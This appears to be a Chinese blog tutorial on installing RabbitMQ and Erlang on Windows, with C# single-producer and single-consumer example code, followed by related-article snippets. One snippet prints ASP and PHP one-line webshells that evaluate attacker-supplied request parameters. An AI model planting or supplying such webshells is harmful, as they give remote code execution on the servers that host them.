RabbitMQ入门学习系列(二),单生产者消费者
友情提示
我对我的文章负责,发现好多网上的文章 没有实践,都发出来的,让人走很多弯路,如果你在我的文章中遇到无法实现,或者无法走通的问题。可以直接在公众号《爱码农爱生活 》留言。必定会再次复查原因。让每一篇 文章都能顺利实现。道理讲明白 。原理讲清楚。代码必实现
快速阅读
安装好Rabbitmq-server,Erlang后,在vs中添加 Rabbitmq.client.建立两个控制台应用,实现单生产者单消费者的模式。
友情提示
我对我的文章负责,发现好多网上的文章 没有实践,都发出来的,让人走很多弯路,如果你在我的文章中遇到无法实现,或者无法走通的。可以直接公众号:爱码农爱生活 留言。必定会再次复查原因。让每一篇 文章的流程都能顺利实现。
1.安装rabittmq

提示没有安装elang,要先下载安装erlang
2.下载安装erlang
会自动打开Erlang的下载链接 地址。我的是win7 64位系统,所以我选择下面红框里的这个

3.Erlang和RabbitMq的下载地址备份
今天终于下载下来了。 为了避免以后因为网络问题下不下来,直接备份到百度云
- rabbitmq-server-3.7.15.exe 下载地址
链接:https://pan.baidu.com/s/1aTEtVwNvSV58gzbmLncQlA 提取码:3b1x
- otp_win64_22.0 -erlang 下载地址
链接:https://pan.baidu.com/s/1DF_KDKxTAHRGHZj6LYKdaA
提取码:9oy8
4.OTP是啥
Open Telecom Platform的缩写,简单理解就是一个框架 ,主要是把通用部分代码和业务代码进行分离。具体想多了解的可以参考:https://www.cnblogs.com/john-d/archive/2010/04/16/1711276.html
5.OTP22的安装
安装OTP22 ,直接打开,安装到自己的程序目录就行。 一直next到结束 。

6.安装RabbitMq-server
直接打开,安装到自己的程序目录就行。 一直next到结束


7.官方的入门教程代码下载
https://github.com/rabbitmq/rabbitmq-tutorials
8.RabbitMQ 入门代码 Hello world
Rabbitmq是一个消息中间件,生产者生产消息放入队列中,消费者从队列中拿消息进行消费。

分别给两个项目安装RabbitMQ.client依赖包。 如果用这种方式安装的话,产生的项目是netcore的

好了,vs打开启动项目
不过遇到vs不能调试的错误了。,记得以前也遇到过这个问题,网上好多人说是把msvsmon.exe从别的地方复制一份就可以了,但是我的不行,最后是通过添加删除程序解决的。
感觉这个错误,好像会出现在多个vs版本的时候会容易出现混乱。

但是发现新建的程序台程序是可以使用的。
这个先不用管了直接转为传统的方式,vs打开项目,Nuget添加RabbitMq.client进行测试
重新在console控制台里操作吧。
9.vs中创建生产者
先安装RabbitMQ.Client

生产者代码:
注意:创建的链接如果是远程服务器,要换成远程服务器的IP地址,我们是用localhost在本地测试
创建完链接以后,再创建信道。大多数的api调用都是在信道中完成的。
最后声明一个队列,把我们要发送的消息发送出去。
消息的内容在队列中存的是了一个字节数组 ,我们一般用Encoding.UTF8.GetBytes
static void Main(string[] args)
{
var factory = new ConnectionFactory() { HostName = "localhost" };
using (var connection = factory.CreateConnection())
{
using (var channel = connection.CreateModel())
{
channel.QueueDeclare(queue: "hello",
durable: false, exclusive: false, autoDelete: false, arguments: null);
string message = "hello world";
var body = Encoding.UTF8.GetBytes(message);
channel.BasicPublish(exchange: "", routingKey: "hello", basicProperties: null, body: body);
Console.WriteLine("[x] sent {0}", message);
}
}
Console.WriteLine("");
Console.ReadLine();
}
10.消费者
消费者从消息队列中监听消息 ,要保持持续连接
代码:
注意:
1. Console.ReadLine();的位置,要放在channel代码块中。
- 流程还是建立连接-》创建信道-》定义队列=》
- 因为可能先启动消费者,所以队列也需要进行声明 一下。
- 在使用队列时,要保证队列必须存在。
static void Main(string[] args)
{
var factory = new ConnectionFactory() { HostName = "localhost" };
using (var connection = factory.CreateConnection())
{
using (var channel = connection.CreateModel())
{
channel.QueueDeclare(queue: "hello",
durable: false, exclusive: false, autoDelete: false, arguments: null);
//以下是区别生产者的
var consumer = new EventingBasicConsumer(channel);
consumer.Received += (sender, e) =>
{
var body = e.Body;
var message = Encoding.UTF8.GetString(body);
Console.WriteLine("Received {0}", message);
};
channel.BasicConsume(queue: "hello", autoAck: true, consumer: consumer);
Console.WriteLine("");
Console.ReadLine();
}
}
}
运行效果

代码下载:
链接:https://pan.baidu.com/s/1ETUFWm2ilTY4eONkSqaz-A 提取码:bims
RabbitMQ入门学习系列(二),单生产者消费者的更多相关文章
- RabbitMQ入门学习系列(四) 发布订阅模式
发布订阅模式 什么时发布订阅模式 把消息发送给多个订阅者.也就是有多个消费端都完整的接收生产者的消息 换句话说 把消息广播给多个消费者 消息模型的核心 RabbitMQ不发送消息给队列,生产者也不知道 ...
- RabbitMQ入门学习系列(七) 远程调用RPC
快速阅读 生产者和消费者启动以后,都有一个接收事件,消费者是接收事件是处理调用方法以后等待生产者的返回,生产者的接收事件是处理接收生产者发送的消息,进行处理.消费者发送的时候要在回调队列中加入一个标识 ...
- RabbitMQ入门学习系列(六) Exchange的Topic类型
快速阅读 介绍exchange的topic类型,和Direct类型相似,但是增加了"."和"#"的匹配.比Direct类型灵活 Topic消息类型 特点是:to ...
- RabbitMQ入门学习系列(五) Exchange的Direct类型
快速阅读 利用Exchange的Direct类型,实现对队列的过滤,消费者启动以后,输入相应的key值,攻取该key值对应的在队列中的消息 . 从一节知道Exchange有四种类型 Direct,To ...
- RabbitMQ学习系列二-C#代码发送消息
RabbitMQ学习系列二:.net 环境下 C#代码使用 RabbitMQ 消息队列 http://www.80iter.com/blog/1437455520862503 上一篇已经讲了Rabbi ...
- Bootstrap3.0入门学习系列
Bootstrap3.0入门学习系列规划[持续更新] 前言 首先在此多谢博友们在前几篇博文当中给与的支持和鼓励,以及在回复中提出的问题.意见和看法. 在此先声明一下,之前在下小菜所有的随笔文章中, ...
- RabbitMQ入门教程(十二):消息确认Ack
原文:RabbitMQ入门教程(十二):消息确认Ack 版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csd ...
- Maven学习系列二(1-5)
Maven学习系列二(1-5) 本文转自 QuantSeven 博客,讲解精炼易懂,适合入门,链接及截图如下 http://www.cnblogs.com/quanyongan/category/47 ...
- Lucene.net入门学习系列(1)
Lucene.net入门学习系列(1) Lucene.net入门学习系列(1)-分词 Lucene.net入门学习系列(2)-创建索引 Lucene.net入门学习系列(3)-全文检索 这几天在公 ...
随机推荐
- 获取项目中所有URL--获取swagger上展示的接口信息
有时我们需要接口的一些基本信息,比如接口请求路径,接口请求方式等,我们用这些信息来做判断,或者入库. 我在开发接口权限的时候就遇到了这个问题,之前写的接口很多,现在需要将这些接口信息存到数据库中, 用 ...
- linux设备模型与内核中的面向对象思想
linux内核用C语言实现了C++面向对象的大部分特性:封装,继承,多态.在看内核的过程中,开始追寻其中的设计思想,封装.继承.多态.恰好今天又在看Linux设备模型,找了很多资料.总结如下: 1.l ...
- maven cmd 命令
1. mvn clean install :重新清理打包 2.详见:https://www.cnblogs.com/lukelook/p/11298168.html mvn versions:upd ...
- Ceph FS 挂载
Cephfs使用挂载方式有两种 1.使用linux kernel挂载 mount 2.使用ceph-fuse挂载. 1.下图为mount挂载 mount -t ceph 10.110.180.112: ...
- Android笔记(四十九) Android中的资源访问——asset
1.文件读取方式 AssetManager.open(String filename),返回的是一个InputSteam类型的字节流,这里的filename必须是文件,而不能是文件夹, ...
- c# Stack 类
- Flask之WTfroms组件
一.WTfroms简介 WTForms插件是类似于django的form组件的插件,可以帮我们写标签,校验数据等. 二.安装与使用 安装: pip install WTForms 使用: from w ...
- 简单的一句话木马(asp aspx php)
一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...
- pandas速查手册(中文版)
本文翻译自文章:Pandas Cheat Sheet - Python for Data Science 对于数据科学家,无论是数据分析还是数据挖掘来说,Pandas是一个非常重要的Python包.它 ...
- 《Exception团队》第七次作业:团队项目设计完善&编码
一.项目基本介绍 项目 内容 这个作业属于哪个课程 任课教师博客主页链接 这个作业的要求在哪里 作业链接地址 团队名称 Exception 作业学习目标 1.掌握软件编码实现的工程要求 作业任务 1. ...